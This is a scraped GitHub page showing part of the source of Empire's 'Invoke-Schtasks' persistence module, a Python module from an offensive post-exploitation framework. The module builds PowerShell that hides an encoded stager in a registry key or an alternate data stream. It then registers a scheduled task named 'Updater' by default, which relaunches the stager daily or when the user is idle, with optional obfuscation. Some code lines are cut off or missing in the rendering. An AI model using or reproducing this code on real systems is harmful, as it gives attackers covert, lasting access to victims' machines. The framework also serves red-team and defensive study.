

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Sign in

Sign up

This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

EmpireProject / Empire

Public archive

Notifications

Fork

2.8k

Star

7.4k

<> Code

Issues 64

Pull requests 37

Actions

Projects

Wiki

Security

Insights

Files

08cbd27

Go to file

> .github

> data

> lib

> common

> listeners

> modules

> exfiltration

> external

> powershell

> code\_execution

> collection

> credentials

> exfiltration

> exploitation

> lateral\_movement

> management

> persistence

> elevated

> misc

> powerbreach

> userland

backdoor\_lnk.py

registry.py

schtasks.py

> privesc

> recon

> situational\_awareness

> trollsloit

> python

powershell\_template.py

python\_jobs\_template.py

python\_template.py

> powershell

> stagers

\_\_init\_\_.py

Empire / lib / modules / powershell / persistence / userland / schtasks.py

xorrior

Updated obfuscate function arguments in all powershell modules

2c7d625 · 7 years ago

History

Code

Blame

238 lines (192 loc) · 9.7 KB

Raw

1 import os

2 from lib.common import helpers

3

4 class Module:

5

6 def \_\_init\_\_(self, mainMenu, params=[]):

7

8 self.info = {

9 'Name': 'Invoke-Schtasks',

10

11 'Author': ['@mattifestation', '@harmj0y'],

12

13 'Description': ('Persist a stager (or script) using schtasks. This has a mo

14

15 'Background' : False,

16

17 'OutputExtension' : None,

18

19 'NeedsAdmin' : False,

20

21 'OpsecSafe' : False,

22

23 'Language' : 'powershell',

24

25 'MinLanguageVersion' : '2',

26

27 'Comments': [

28 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/

29 ]

30 }

31

32 # any options needed by the module, settable during runtime

33 self.options = {

34 # format:

35 # value\_name : {description, required, default\_value}

36 'Agent' : {

37 'Description' : 'Agent to run module on.',

38 'Required' : True,

39 'Value' : ''

40 },

41 'Listener' : {

42 'Description' : 'Listener to use.',

43 'Required' : False,

44 'Value' : ''

45 },

46 'DailyTime' : {

47 'Description' : 'Daily time to trigger the script (HH:mm).',

48 'Required' : False,

49 'Value' : '09:00'

50 },

51 'IdleTime' : {








52 'Description' : 'User idle time (in minutes) to trigger script.',

53 'Required' : False,

54 'Value' : ''

55 }

Page 1 of 4

- >  plugins
- >  setup
-  .build.sh
-  .dockerignore
-  .gitignore
-  .release.sh
-  Dockerfile

```

--
56         'TaskName' : {
57             'Description' : 'Name to use for the schtask.',
58             'Required' : True,
59             'Value' : 'Updater'
60         },
61         'RegPath' : {
62             'Description' : 'Registry location to store the script code. Last e
63             'Required' : False,
64             'Value' : 'HKCU:\Software\Microsoft\Windows\CurrentVersion\de
65         },
66         'ADSPath' : {
67             'Description' : 'Alternate-data-stream location to store the script
68             'Required' : False,
69             'Value' : ''
70         },
71         'ExtFile' : {
72             'Description' : 'Use an external file for the payload instead of a
73             'Required' : False,
74             'Value' : ''
75         },
76         'Cleanup' : {
77             'Description' : 'Switch. Cleanup the trigger and any script from sp
78             'Required' : False,
79             'Value' : ''
80         },
81         'UserAgent' : {
82             'Description' : 'User-agent string to use for the staging request (
83             'Required' : False,
84             'Value' : 'default'
85         },
86         'Proxy' : {
87             'Description' : 'Proxy to use for request (default, none, or other)
88             'Required' : False,
89             'Value' : 'default'
90         },
91         'ProxyCreds' : {
92             'Description' : 'Proxy credentials ([domain\]username:password) to
93             'Required' : False,
94             'Value' : 'default'
95         }
96     }
97
98     # save off a copy of the mainMenu object to access external functionality
99     # like listeners/agent handlers/etc.
100     self.mainMenu = mainMenu
101
102     for param in params:
103         # parameter format is [Name, Value]
104         option, value = param
105         if option in self.options:
106             self.options[option]['Value'] = value
107
108
109     def generate(self, obfuscate=False, obfuscationCommand=""):
110
111         listenerName = self.options['Listener']['Value']
112
113         # trigger options
114         dailyTime = self.options['DailyTime']['Value']
115         idleTime = self.options['IdleTime']['Value']
116         taskName = self.options['TaskName']['Value']
117

```

```
165         f = open(extFile, 'r')
166         fileData = f.read()
167         f.close()
168
169         # unicode-base64 encode the script for -enc launching
170         encScript = helpers.enc_powershell(fileData)
171         statusMsg += "using external file " + extFile
172
173     else:
174         print helpers.color("[!] File does not exist: " + extFile)
175         return ""
176
177 else:
178     # if an external file isn't specified, use a listener
179     if not self.mainMenu.listeners.is_listener_valid(listenerName):
180         # not a valid listener, return nothing for the script
181         print helpers.color("[!] Invalid listener: " + listenerName)
182         return ""
183
184     else:
185         # generate the PowerShell one-liner with all of the proper options set
186         launcher = self.mainMenu.stagers.generate_launcher(listenerName, langua
187
188         encScript = launcher.split(" ")[-1]
189         statusMsg += "using listener " + listenerName
190
191
192     if adsPath != '':
193         # store the script in the specified alternate data stream location
194         if ".txt" not in adsPath:
195             print helpers.color("[!] For ADS, use the form C:\\users\\john\\App
196             return ""
197
198         script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsP
199
200         locationString = "$(cmd /c \"'\"'more < "+adsPath+"\"'\"'\"'\"')\"
201
202     else:
203         # otherwise store the script into the specified registry location
204         path = "\\\".join(regPath.split("\\\")[0:-1])
```

```
205         name = regPath.split("\\")[-1]
206
207         statusMsg += " stored in " + regPath
208
209         script = "$RegPath = '"+regPath+'";"
210         script += "$parts = $RegPath.split('\\');"
211         script += "$path = $RegPath.split("\\\\")[0..($parts.count -2)] -join '\\';"
212         script += "$name = $parts[-1];"
213         script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+e
214
215         # note where the script is stored
216         locationString = "(gp "+path+" "+name+")."+name
217
218         # built the command that will be triggered by the schtask
219         triggerCmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -
220
221         # sanity check to make sure we haven't exceeded the cmd.exe command length max
222         if len(triggerCmd) > 259:
223             print helpers.color("[!] Warning: trigger command exceeds the maximum of 25
224             return ""
225
226         if idleTime != '':
227             script += "schtasks /Create /F /SC ONIDLE /I "+idleTime+" /TN "+taskName+"
228             statusMsg += " with "+taskName+" idle trigger on " + idleTime + "."
229
230         else:
231             # otherwise assume we're doing a daily trigger
232             script += "schtasks /Create /F /SC DAILY /ST "+dailyTime+" /TN "+taskName+"
233             statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "."
234
235         script += "'Schtasks persistence established "+statusMsg+"'"
236         if obfuscate:
237             script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfu
238         return script
```